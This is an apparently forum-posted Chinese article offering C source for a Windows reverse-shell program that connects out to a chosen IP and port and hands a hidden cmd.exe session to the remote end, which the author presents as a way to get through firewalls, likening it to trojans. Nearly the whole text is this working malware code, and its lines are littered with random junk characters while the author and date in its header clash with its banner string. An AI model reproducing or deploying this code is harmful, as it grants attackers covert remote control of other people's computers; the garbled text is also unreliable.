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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d8o<Q 9   
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/* ============================== j-% vLL/  
Rebound port in Windows NT VPAi[<FzOG  
By wind,2006/7 :MIJfr>z  
===============================*/ YaWZOuxm  
#include Q=+*OQV29  
#include LZ ?z5U:  
7 B<  
#pragma comment(lib,"wsock32.lib") )fRZ}7k:  
-F+ )N$CW  
void OutputShell(); I>(3\z4s  
SOCKET sClient; Uh9p ,AV  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KO~_  
|lnMT)^D  
void main(int argc,char **argv) L93PDp4v  
{ PU"C('AP  
WSADATA stWsaData; zFn!>Tqe  
int nRet; [#}0)  
SOCKADDR_IN stSaiClient,stSaiServer; V^  
WFYbmfmV  
if(argc != 3) D;@nrj`.  
{ lHTW e'  
printf("Useage:\n\rRebound DestIP DestPort\n"); D>U b)i  
return; }r+(Z.BHM  
} Q^|ZoJS  
+kMVl_` V  
WSAStartup(MAKEWORD(2,2),&stWsaData); D<DSK~  
h.~:UR*   
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T@S\:P  
9}=]oX!+V  
stSaiClient.sin_family = AF_INET; '#;%=+=;  
stSaiClient.sin_port = htons(0); \$iU#Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S-4C >gM  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d"P\ =`+  
{ vjzpU(Sq#  
printf("Bind Socket Failed!\n"); FK^JCs^  
return; S~ff<A>f  
} |\ZsoA  
Ub(8ko:8$  
stSaiServer.sin_family = AF_INET; QO-R>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LhfI"fc  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /F(wb_!  
h0=Q.Yz6  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sM4Qu./  
{ ?tf/#5t}  
printf("Connect Error!"); :FUefW m  
return; _>6xU t  
} iut[?#f^  
OutputShell(); e13{G @  
} /^F_~.u{  
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void OutputShell() P$ a `8~w  
{ H(JgqbFB*  
char szBuff[1024]; tfSY(cXg'T  
SECURITY_ATTRIBUTES stSecurityAttributes; >I~$h,  
OSVERSIONINFO stOsversionInfo; WeqE 9@V  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  [YGPcGw  
STARTUPINFO stStartupInfo; fku\O<1  
char *szShell; yR`X3.:*]  
PROCESS_INFORMATION stProcessInformation; L7gZ4Hu=`  
unsigned long lBytesRead; z vM=k-Ec  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fAW(  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?)Psf/  
stSecurityAttributes.lpSecurityDescriptor = 0; k^JV37;bl  
stSecurityAttributes.bInheritHandle = TRUE; _7)>/YK?}4  
;2NJkn9t  
j56#KNAha  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yFD3:;}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g!#M0  
5-=&4R\k  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0wh4sKm[X  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K4r"Q*h  
stStartupInfo.wShowWindow = SW_HIDE; N=JZtf/i  
stStartupInfo.hStdInput = hReadPipe; PNSV?RT*pG  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UdIl5P  
lBYc(cr  
GetVersionEx(&stOsversionInfo); &n}eF-  
tK|jh  
switch(stOsversionInfo.dwPlatformId)  3ih3O  
{ w%3R[Kdzk  
case 1: *VbB'u:  
szShell = "command.com"; A;06Zrf1  
break; LNA5!E  
default: !xIK<H{*  
szShell = "cmd.exe"; *-zOQ=Y  
break; ]]EOCGZ"  
} *ommU(r8  
VV$$t;R/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e"){B  
pPa3byWf  
send(sClient,szMsg,77,0); ^#V7\;v$G  
while(1) hB !>*AsG  
{ Y`U[Y Hx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]"*sp  
if(lBytesRead) bg =<)s  
{ ::lD7@Wg  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -;i vBR  
send(sClient,szBuff,lBytesRead,0); UhI T!x  
} 3YFbT Z  
else ]ZbZ]  
{ 'Avp16zg  
lBytesRead=recv(sClient,szBuff,1024,0); [s} n v]  
if(lBytesRead<=0) break; 5LkpfmR  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =!~6RwwwY  
} 03!!# 5iJ  
} ac2G;}B|  
CY4ntd4M  
return; 5, j&-{ 0W  
}
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